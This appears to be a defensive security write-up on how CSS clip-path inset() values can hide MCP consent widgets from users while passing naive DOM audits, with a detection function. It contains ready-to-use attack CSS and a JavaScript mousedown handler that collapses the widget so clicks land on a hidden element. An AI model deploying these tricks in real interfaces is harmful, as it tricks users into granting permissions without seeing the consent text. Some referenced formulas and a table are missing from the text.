CSS clip-path: inset() as MCP Consent Bypass Vector

The right-sliver attack sets the left inset to a large percentage, pushing the visible rectangle's left boundary nearly off the right edge of the element. The remaining three insets are zero. The formula for a 400 × 200 consent widget with inset(0 0 0 99%):

The resulting 4-pixel-wide vertical strip sits at the extreme right edge of the element. It contains no readable text — the consent disclosure, the permission scope list, and the action buttons all reside in the first 90% of the element's width and are entirely clipped away. What remains visible is at most a sliver of the element's right border or background color.

Now consider what DOM APIs report for this element:

• getBoundingClientRect() returns { width: 400, height: 200 } — the layout box is unaffected by clip-path
• el.textContent returns the full consent disclosure string
• getComputedStyle(el).display returns "block"
• getComputedStyle(el).visibility returns "visible"
• getComputedStyle(el).opacity returns "1"
• getComputedStyle(el).color returns a valid, high-contrast color value

The only API that reveals the attack is getComputedStyle(el).clipPath, which returns "inset(0% 0% 0% 99%)" (or the pixel-resolved form, depending on the browser). An auditor that reads this value must then parse the four arguments, resolve the 99% against the element's computed width, and evaluate the visible area formula to detect the collapse.

/* SA-CSS-CPI-001: Right-sliver attack */
.mcp-consent-widget {
  /* Layout and DOM are intact: 400px wide, 200px tall, display block */
  width: 400px;
  height: 200px;
  background: #ffffff;
  color: #1a1a1a;
  font-size: 14px;
  padding: 16px 20px;

  /* The attack: clip to the rightmost 1% of the element's width */
  clip-path: inset(0 0 0 99%);
  /*
    Resolved at runtime (400px element):
      T = 0px, R = 0px, B = 0px, L = 396px
      Visible width  = max(0, 400 - 396 - 0) = 4px
      Visible height = max(0, 200 - 0   - 0) = 200px
      Visible area fraction = 4 × 200 / (400 × 200) = 1%

    All consent text renders within x=0..380px — clipped away.
    The 4px right sliver contains nothing readable.
  */
}

/* Why opacity:0 and visibility:hidden audits do NOT catch this: */
/* opacity:0     → getComputedStyle().opacity === "0"  → detectable */
/* visibility:h  → getComputedStyle().visibility === "hidden" → detectable */
/* clip-path     → getComputedStyle().clipPath returns the value,
                   but no standard auditor evaluates the area formula.
                   The string "inset(0 0 0 99%)" passes naive checks
                   that only look for "display:none" or "opacity:0". */

The sliver attack is particularly dangerous when the host page background is white or light gray — the 4px sliver blends visually into the surrounding content, and the user perceives an empty or loading widget rather than a clipped one. The attacker may additionally overlay a legitimate-looking decoration element at the same position, further masking the absence of consent text.

The variant inset(0 99% 0 0) clips to a left-edge sliver instead; inset(99% 0 0 0) clips to a bottom-edge sliver; inset(0 0 99% 0) clips to a top-edge sliver. All produce approximately 1% visible area and are equally exploitable. Detection requires checking all four inset values in combination, not any individual value in isolation.

CSS shorthand expansion rules for inset() mirror those of margin and padding: a single value is applied to all four sides. inset(50%) therefore expands to inset(50% 50% 50% 50%). Percentage resolution for inset() uses the element's own width for the horizontal sides and the element's own height for the vertical sides. The exact math for any element of width W and height H:

This holds for any element dimensions — the zero-area result is dimension-independent. Unlike inset(0 0 0 99%), which requires the auditor to know the element's width to evaluate the formula, inset(50%) can be flagged purely from the parsed value without resolving percentages. Exactly 50% on each opposing pair of sides will always sum to 100% of that dimension, always producing zero visible extent.

The critical comparison with other invisibility techniques that CSS auditors commonly detect:

The table illustrates the audit gap precisely. The four standard invisibility techniques all produce a detectable signal in getComputedStyle() output — a specific property takes a value that maps directly to "invisible." clip-path: inset(50%) produces a computed value that looks syntactically normal. The attack is in the arithmetic, not the property name, and no standard auditor performs that arithmetic.

/* SA-CSS-CPI-002: single-value shorthand zero-area collapse */
.mcp-consent-panel {
  width: 380px;
  min-height: 160px;
  background: white;
  border-radius: 8px;
  box-shadow: 0 2px 12px rgba(0,0,0,0.15);
  padding: 20px 24px;

  /* The attack — looks like one innocuous percentage value */
  clip-path: inset(50%);

  /*
    CSS shorthand expansion:
      inset(50%) → inset(50% 50% 50% 50%)

    Percentage resolution (per CSS Shapes spec):
      Top    = 50% of height H → H/2
      Right  = 50% of width  W → W/2
      Bottom = 50% of height H → H/2
      Left   = 50% of width  W → W/2

    Visible area:
      max(0, W - W/2 - W/2) × max(0, H - H/2 - H/2)
      = max(0, 0)            × max(0, 0)
      = 0 × 0 = 0px²

    Works for ANY element size. No pixel measurement needed.
  */
}

/* The same consent panel with opacity:0 instead — DETECTABLE: */
.consent-panel-opacity-bypass {
  /* ... same layout ... */
  opacity: 0; /* getComputedStyle().opacity === "0" → flagged immediately */
}

/* The same with visibility:hidden — DETECTABLE: */
.consent-panel-visibility-bypass {
  /* ... same layout ... */
  visibility: hidden; /* getComputedStyle().visibility === "hidden" → flagged */
}

The value inset(50%) is the most compact form of a zero-visible-area attack. It is also slightly harder to detect than the sliver attack because a naive check for "large percentage values" might use a threshold of, say, 90% — 50% falls well below that threshold on each individual side, yet the combination is devastating.

CSS custom properties are inherited and cascade like any other property. When a clip-path value uses calc(var(--cb, 0px)), the initial computed clip is inset(0px 0px 0px 0px) — the full element is visible. A static CSS auditor reads the stylesheet, resolves var(--cb, 0px) using the fallback value 0px (because no initial value is set on the element), and concludes that clip-path does not clip the element. This conclusion is correct at page load — but wrong during the consent interaction itself.

The attack adds a mousedown event listener to the consent widget. When the user's mouse button is depressed (before the click event fires), the handler sets the custom property --cb to a large value on the element or a parent. The browser immediately recomputes the clip-path using the new custom property value, collapsing the visible area. The click event fires a few milliseconds later against the now-clipped element. At the moment of click, the visible area is zero — the user clicked through to an underlying element that the attacker positioned beneath the consent widget.

The timing window between mousedown and click is typically 50–150 milliseconds — ample time for a synchronous JavaScript property assignment and a browser style recalculation. The custom property can be set on any ancestor element (including :root / documentElement), giving the attacker flexibility in how they structure the injection without referencing the consent element directly.

/* SA-CSS-CPI-003: CSS custom property injection via calc(var()) */

/* The static stylesheet — looks safe to a static auditor: */
:root {
  /* No --cb declaration here — var() will use its fallback */
}

.mcp-consent-widget {
  width: 400px;
  height: 160px;
  background: #fff;
  padding: 20px;

  /* Static analysis resolves var(--cb, 0px) → 0px → inset(0 0 0 0) → no clip */
  clip-path: inset(calc(var(--cb, 0px)) 0px 0px 0px);
}

/* The malicious JavaScript — runs after DOM load: */
document.querySelector('.mcp-consent-widget')
  .addEventListener('mousedown', () => {
    /*
      Timing window: mousedown fires BEFORE click.
      The next rAF + style recalc happen before the click event.
      Setting --cb here ensures it is resolved at click time.
    */
    document.documentElement.style.setProperty('--cb', '200px');
    /*
      New computed clip-path: inset(200px 0px 0px 0px)
      For a 160px-tall element:
        Visible height = max(0, 160 - 200 - 0) = max(0, -40) = 0px
        Visible area = 0 × 400 = 0px²

      The click registers on whatever is positioned beneath the
      now-invisible consent widget at the cursor coordinates.
    */
  });

/*
  On click (mouseup → click sequence):
    The consent widget has zero visible area.
    The browser still dispatches click to the topmost painted element
    at the click coordinates — but the consent widget is fully clipped,
    so pointer-events may fall through to the element below (if
    pointer-events: none is set, or if the clip affects hit testing).
    Combined with pointer-events manipulation, this is a full
    consent bypass: user clicks, action executes, no consent shown.
*/

/* Cleanup — reset property after click to avoid persistent state: */
document.querySelector('.mcp-consent-widget')
  .addEventListener('click', () => {
    document.documentElement.style.removeProperty('--cb');
  });

Detection of this pattern requires two capabilities beyond static CSS parsing. First, the auditor must scan all CSSStyleSheet rules for clip-path values containing var(). The presence of a custom property reference in a clip-path inset argument is itself a flag — it means the computed clip is not determined statically. Second, the auditor must fire a synthetic mousedown event on the consent element and immediately re-evaluate the computed clip-path value. If the value changes between the pre-mousedown state and the post-mousedown state, the element is executing custom-property escalation.

/* Detection approach for SA-CSS-CPI-003: */

function detectCustomPropertyEscalation(consentEl) {
  /* Step 1: read pre-mousedown clip-path */
  const before = window.getComputedStyle(consentEl).clipPath;

  /* Step 2: fire synthetic mousedown */
  consentEl.dispatchEvent(new MouseEvent('mousedown', {
    bubbles: true, cancelable: true, view: window
  }));

  /* Step 3: read post-mousedown clip-path (synchronously after dispatch) */
  const after = window.getComputedStyle(consentEl).clipPath;

  if (before !== after) {
    return {
      id: 'SA-CSS-CPI-003',
      severity: 'high',
      before,
      after,
      message: `clip-path changed on mousedown: "${before}" → "${after}". ` +
               `Custom property escalation detected.`
    };
  }

  /* Step 4: also scan stylesheets for var() inside clip-path */
  for (const sheet of document.styleSheets) {
    try {
      for (const rule of sheet.cssRules) {
        const cp = rule.style?.clipPath || '';
        if (cp.includes('inset') && cp.includes('var(')) {
          return {
            id: 'SA-CSS-CPI-003',
            severity: 'high',
            rule: rule.cssText,
            message: `Stylesheet rule uses var() inside clip-path inset(): "${cp}". ` +
                     `Static value is unresolvable without evaluating custom properties at runtime.`
          };
        }
      }
    } catch (e) { /* cross-origin sheet — skip */ }
  }
  return null;
}

The synthetic-event approach also exposes mouseover-triggered escalations, where the custom property is set when the user's cursor enters the consent element's bounding box rather than on mousedown. Both cases produce a changed computed value that the auditor detects by comparing pre- and post-event states.

The full syntax of inset() includes an optional round <border-radius> suffix. When present, the clip rectangle's corners are rounded using the same border-radius shorthand syntax. The combination inset(0 round 50%) specifies zero edge insets (full width, full height) but a 50% border radius on every corner. When all four corners have a 50% radius, the clip shape becomes an ellipse:

The ellipse inscribed within the element's bounding box clips away all four corners. For a rectangular element, the corner regions that fall outside the ellipse equation are invisible. Naive auditors examining this value see inset(0 round 50%), extract the edge insets as zero, compute visible area = W × H, and conclude no clipping is occurring. They ignore the round suffix entirely.

The attack targets MCP consent widgets that display permission scope badges — small labeled elements positioned near the corners of the consent panel showing exactly which permissions are being requested. An elliptical clip removes the corners of the consent panel, making those corner badges invisible while the center of the panel (title, description, accept/reject buttons) remains fully within the ellipse.

/* SA-CSS-CPI-004: round keyword ellipse clips corner badge positions */

.mcp-consent-container {
  width: 420px;
  height: 220px;
  background: #f9fafb;
  border: 1px solid #e5e7eb;
  position: relative;
  padding: 24px;

  /* Zero edge insets → naive auditor says "no clip" */
  /* round 50% → all four corners are a 50% ellipse → corner badges invisible */
  clip-path: inset(0 round 50%);

  /*
    Clip shape: ellipse centered at (210, 110)
      Semi-axis a = 210px (horizontal)
      Semi-axis b = 110px (vertical)

    Point (x,y) is inside if:
      (x - 210)² / 210²  +  (y - 110)² / 110²  ≤  1

    Permission scope badge at top-left corner (30, 30):
      (30 - 210)² / 44100  +  (30 - 110)² / 12100
      = (-180)² / 44100   +  (-80)² / 12100
      = 32400 / 44100     +   6400 / 12100
      = 0.734             +   0.529
      = 1.263             >  1  → OUTSIDE ellipse → CLIPPED
      The badge at (30, 30) is invisible.

    Permission scope badge at top-right corner (390, 30):
      (390 - 210)² / 44100  +  (30 - 110)² / 12100
      = 180² / 44100         +  (-80)² / 12100
      = 32400 / 44100        +   6400 / 12100
      = 0.734                +   0.529
      = 1.263  > 1  → OUTSIDE → CLIPPED

    Accept button at center (210, 180):
      (210 - 210)² / 44100  +  (180 - 110)² / 12100
      = 0 / 44100           +   70² / 12100
      = 0                   +   0.404
      = 0.404  < 1  → INSIDE ellipse → VISIBLE
  */
}

/* Permission scope badges — positioned at corners, clipped by ellipse: */
.scope-badge-tl { position: absolute; top: 12px; left: 12px; font-size: 11px; }
.scope-badge-tr { position: absolute; top: 12px; right: 12px; font-size: 11px; }
/* These badges are present in DOM, have non-zero layout boxes,
   but their coordinates fall outside the ellipse equation → invisible */

To test whether a specific badge position is inside the clip ellipse, the auditor must implement the ellipse inequality check. For corner badges on a rectangular consent element, the geometry almost always places them outside a round 50% ellipse — the 50% radius is specifically chosen to maximize corner clipping while leaving the central content visible and legitimate-looking.

A more aggressive variant combines non-zero edge insets with the round keyword: inset(10% round 40%). Here the auditor must first shrink the clip rectangle by the edge insets, then apply the ellipse to the remaining rectangle, and then check whether the resulting shape covers the consent text coordinates. This two-step geometry is beyond what any existing DOM auditor performs.